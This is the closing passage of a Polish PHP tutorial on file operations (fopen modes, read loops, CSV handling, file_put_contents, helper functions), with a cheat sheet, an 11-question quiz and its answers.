<li><strong>rozpoznać</strong> w cudzym kodzie brak sprawdzenia wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> oraz pętlę odczytu, która zgubi ostatnią linię,</li>



<li><strong>użyć</strong> skrótów <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_get_contents()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">file()</code> do prostych zadań, np. dopisania wpisu do logu,</li>



<li><strong>odczytać dane tabelaryczne</strong> z pliku tekstowego do tablicy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> lub samodzielny podział linii) i <strong>odtworzyć typy</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>, porównanie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code>),</li>



<li><strong>znać funkcje pomocnicze</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_exists()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_writable()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">filesize()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">filemtime()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> → praca → <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code>. Uchwyt, nie nazwa pliku, trafia do kolejnych funkcji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> kasuje plik <strong>przy otwarciu</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> dopisuje. <code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code> nie tworzy pliku i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, gdy pliku nie ma.</li>



<li>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($uchwyt === false)</code>, przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_readable()</code>.</li>



<li>Pętla odczytu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">while (($linia = fgets($uchwyt)) !== false)</code>. Nigdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($linia = fgets(...))</code>.</li>



<li>Z pliku wraca <strong>string</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $pole</code> dla liczb, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$pole === '1'</code> dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>. Nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool)</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> z kompletem <code class="prettyprint lang-sql" style="font-size: 0.85em;">';', '"', ''</code>; w <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> drugi argument to <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> (bez limitu).</li>



<li>Pierwszy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> przed pętlą pomija wiersz nagłówka.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents($plik, $tekst, FILE_APPEND)</code> = dopisanie jedną linią. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code> — nadpisanie.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code> usuwa nieodwracalnie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code> nadpisuje cel, <code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code> przenosi i zmienia nazwę.</li>



<li>Ścieżki budujemy z <code class="prettyprint lang-sql" style="font-size: 0.85em;">__DIR__</code> (albo ze stałej z <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code>).</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Schemat zapisu</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uchwyt = fopen(__DIR__ . '/dziennik.txt', 'a');   // 'w' = od zera, 'a' = dopisz

if ($uchwyt === false) {
    return false;
}

fwrite($uchwyt, "Nowa linia\n");
fclose($uchwyt);</code></pre>



<p class="wp-block-paragraph"><strong>Schemat odczytu</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!is_file($sciezka) || !is_readable($sciezka)) {
    return &#91;];
}

$uchwyt = fopen($sciezka, 'r');

while (($linia = fgets($uchwyt)) !== false) {
    echo trim($linia) . '&lt;br&gt;';
}

fclose($uchwyt);</code></pre>



<p class="wp-block-paragraph"><strong>CSV</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv($uchwyt, &#91;'id', 'tytul', 'xp'], ';', '"', '');   // tablica → linia
$wiersz = fgetcsv($uchwyt, 0, ';', '"', '');             // linia → tablica lub false</code></pre>



<p class="wp-block-paragraph"><strong>Odtwarzanie typów po odczycie</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'       =&gt; (int) $wiersz&#91;0],
'wykonane' =&gt; $wiersz&#91;4] === '1',</code></pre>



<p class="wp-block-paragraph"><strong>Tryby otwarcia</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tryb</th><th>Odczyt</th><th>Zapis</th><th>Gdy pliku nie ma</th><th>Istniejąca zawartość</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">r</code></td><td>tak</td><td>nie</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>nietknięta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">r+</code></td><td>tak</td><td>tak</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>nietknięta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code></td><td>nie</td><td>tak</td><td>tworzy</td><td><strong>kasowana</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">w+</code></td><td>tak</td><td>tak</td><td>tworzy</td><td><strong>kasowana</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code></td><td>nie</td><td>tak (na końcu)</td><td>tworzy</td><td>zostaje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">a+</code></td><td>tak</td><td>tak (na końcu)</td><td>tworzy</td><td>zostaje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code></td><td>nie</td><td>tak</td><td>tworzy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, jeśli plik istnieje</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Skróty jednoliniowe</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents($plik, $tekst);                 // zapis (nadpisuje)
file_put_contents($plik, $tekst, FILE_APPEND);    // dopisanie
$tekst  = file_get_contents($plik);               // cały plik jako tekst
$linie  = file($plik, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);</code></pre>



<p class="wp-block-paragraph"><strong>Sprawdzanie i operacje na plikach</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_exists($p)  is_file($p)  is_readable($p)  is_writable($p)  is_dir($p)
filesize($p)     filemtime($p)                 // rozmiar, czas modyfikacji (timestamp)
copy($z, $c)     rename($s, $n)     unlink($p)  // kopiuj, przenieś/zmień nazwę, usuń</code></pre>



<p class="wp-block-paragraph"><strong>Pozostałe funkcje odczytu i wskaźnik</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fread($uchwyt, filesize($plik));   // N bajtów (cały plik)
fgetc($uchwyt);                    // jeden znak
feof($uchwyt);                     // czy koniec pliku
rewind($uchwyt);                   // wskaźnik na początek</code></pre>



<p class="wp-block-paragraph"><strong>Blokada przy współbieżnym zapisie (np. licznik odwiedzin)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">flock($uchwyt, LOCK_EX);   // wyłączna (zapis); LOCK_SH = współdzielona (odczyt)
// ... odczyt, rewind(), fwrite() ...
fflush($uchwyt);
flock($uchwyt, LOCK_UN);</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph">Odpowiedzi na końcu dodatku.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Który tryb otwarcia sprawia, że dotychczasowa zawartość pliku zostaje nietknięta, a nowe dane trafiają na jego koniec?<br />a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">r+</code> b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> d) <code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code></p>



<p class="wp-block-paragraph"><strong>2.</strong> Co znajdzie się w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">a.txt</code> po wykonaniu tego kodu i dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$u = fopen(__DIR__ . '/a.txt', 'w');
fwrite($u, "raz\n");
fclose($u);

$u = fopen(__DIR__ . '/a.txt', 'w');
fwrite($u, "dwa\n");
fclose($u);</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">liczby.txt</code> zawiera trzy linie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">7</code>. Co wypisze poniższy kod, a co powinien wypisywać? Popraw jeden fragment.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$u = fopen(__DIR__ . '/liczby.txt', 'r');

while ($linia = fgets($u)) {
    echo trim($linia) . '|';
}

fclose($u);</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Linia pliku ma postać <code class="prettyprint lang-sql" style="font-size: 0.85em;">3;Ćwiczenia;2026-09-18</code>. Ile elementów będzie miała tablica zwrócona przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv($u)</code> wywołane <strong>bez</strong> dodatkowych argumentów? Co zrobić, żeby otrzymać trzy pola?</p>



<p class="wp-block-paragraph"><strong>5.</strong> Po odczycie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4]</code> ma wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code>. Które wyrażenie poprawnie odtworzy pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> i dlaczego drugie jest złym pomysłem?<br />a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) $wiersz[4]</code> b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4] === '1'</code><br />Co zwróci każde z nich, jeśli w pliku zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> znajdzie się tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">nie</code>?</p>



<p class="wp-block-paragraph"><strong>6.</strong> W funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> ktoś usunął jedną linię — samotne wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> przed pętlą. Co dokładnie znajdzie się w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> jako pierwszy element po tej zmianie i która funkcja z wcześniejszych lekcji zachowa się przez to dziwnie?</p>



<p class="wp-block-paragraph"><strong>7.</strong> Dlaczego ten kod przerywa działanie skryptu błędem krytycznym, jeśli plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brak.txt</code> nie istnieje? Dopisz dwie linie, które to naprawią.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$u = fopen(__DIR__ . '/brak.txt', 'r');

while (($l = fgets($u)) !== false) {
    echo $l;
}

fclose($u);</code></pre>



<p class="wp-block-paragraph"><strong>8.</strong> Ile linii będzie miał plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">log.txt</code> po wykonaniu tego kodu? Popraw go tak, aby powstały trzy wpisy.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach (&#91;'start', 'wczytano', 'koniec'] as $wpis) {
    file_put_contents(__DIR__ . '/log.txt', $wpis . "\n");
}</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Napisz <strong>jedną linię</strong>, która dopisze do pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> wpis w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-09-21 10:15:03 — wczytano 5 zadan</code> (liczba zadań jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczbaWszystkich</code>, datę weź z <code class="prettyprint lang-sql" style="font-size: 0.85em;">date('Y-m-d H:i:s')</code>).</p>



<p class="wp-block-paragraph"><strong>10.</strong> Dobierz funkcję do zadania: (a) zarchiwizuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_2026-09-28.csv</code>, zostawiając oryginał; (b) przenieś <code class="prettyprint lang-sql" style="font-size: 0.85em;">stare.csv</code> do katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">archiwum/</code>; (c) skasuj plik tymczasowy. Przy której z nich grozi cicha utrata danych i dlaczego?</p>



<p class="wp-block-paragraph"><strong>11.</strong> Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> otwiera plik w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>. Co konkretnie zepsułoby się w pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code>, gdyby zmienić ten tryb na <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code> i wywołać funkcję dwa razy?</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> kasuje zawartość już w momencie otwarcia, <code class="prettyprint lang-sql" style="font-size: 0.85em;">r+</code> ustawia wskaźnik na początku i nadpisuje od pierwszego znaku, <code class="prettyprint lang-sql" style="font-size: 0.85em;">x</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, bo plik istnieje.</li>



<li>Tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">dwa</code>. Drugie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen(..., 'w')</code> skasowało plik przy otwarciu — linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">raz</code> przepadła, zanim cokolwiek zapisano.</li>



<li>Wypisze <code class="prettyprint lang-sql" style="font-size: 0.85em;">5|</code> i zatrzyma się. Druga linia ma treść <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code>, która w warunku jest traktowana jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, więc pętla kończy się za wcześnie — powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">5|0|7|</code>. Poprawka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">while (($linia = fgets($u)) !== false)</code>.</li>



<li>Jeden element — całą linię jako jeden napis, bo domyślnym separatorem <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> jest przecinek, a w pliku jest średnik. Trzeba podać <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv($u, 0, ';', '"', '')</code>.</li>



<li><strong>b)</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) "0"</code> faktycznie daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, ale to przypadek: <code class="prettyprint lang-sql" style="font-size: 0.85em;">(bool) "nie"</code> daje <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></strong>, bo każdy niepusty tekst poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">"0"</code> jest prawdą. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4] === 'nie'</code> porównane z <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — jednoznacznie i zgodnie z zamiarem. Odpowiedź dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">nie</code>: a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</li>



<li>Pierwszym elementem <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> stanie się wiersz nagłówka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id' =&gt; (int) 'id'</code>, czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul' =&gt; 'tytul'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin' =&gt; 'termin'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane' =&gt; false</code> (bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane' !== '1'</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">'xp' =&gt; 0</code>. Dziwnie zachowają się funkcje terminów z Lekcji 7/9 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code> nie jest datą, więc próba utworzenia z niego <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> / obliczenia różnicy się nie powiedzie. Zepsuje się też sortowanie po terminie i licznik XP.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (plik nie istnieje) i wypisuje ostrzeżenie. Następnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgets(false)</code> dostaje wartość logiczną zamiast uchwytu — to już błąd krytyczny (<code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError</code>). Naprawa:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!is_file($sciezka) || !is_readable($sciezka)) {
    return;                      // albo: return &#91;];
}

$u = fopen($sciezka, 'r');

if ($u === false) {
    return;
}</code></pre>
</details>



<ol start="8" class="wp-block-list">
<li>Jedną — <code class="prettyprint lang-sql" style="font-size: 0.85em;">koniec</code>. Bez flagi każde wywołanie nadpisuje plik. Poprawka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents(__DIR__ . '/log.txt', $wpis . "\n", FILE_APPEND);</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents(__DIR__ . '/logs/taskquest.log', date('Y-m-d H:i:s') . " — wczytano $liczbaWszystkich zadan\n", FILE_APPEND);</code> (katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code> musi istnieć — <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!is_dir(...)) { mkdir(...); }</code>).</li>



<li>(a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code>, (b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code>, (c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code>. Cicha utrata danych grozi przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code>: jeśli plik docelowy istnieje, zostaje <strong>nadpisany</strong> bez pytania. <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code> też jest nieodwracalny (plik nie trafia do kosza), ale tu akurat usunięcie jest zamierzone. Bezpieczny nawyk: przed zapisem sprawdzić <code class="prettyprint lang-sql" style="font-size: 0.85em;">is_file($cel)</code>.</li>



<li>Przy drugim wywołaniu plik miałby <strong>dwa wiersze nagłówka</strong> (drugi w środku pliku) i zdublowane wszystkie zadania. Przy odczycie pomijany jest tylko pierwszy wiersz, więc nagłówek ze środka trafiłby do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> jako pseudo-zadanie (patrz pytanie 6), a każde zadanie pojawiłoby się na liście dwa razy — z podwojonym XP do zdobycia.</li>
</ol>
<p>Artykuł <a href="https://kamakaczmarek.net/php-operacje-na-plikach/">11. PHP &#8211; Operacje na plikach</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
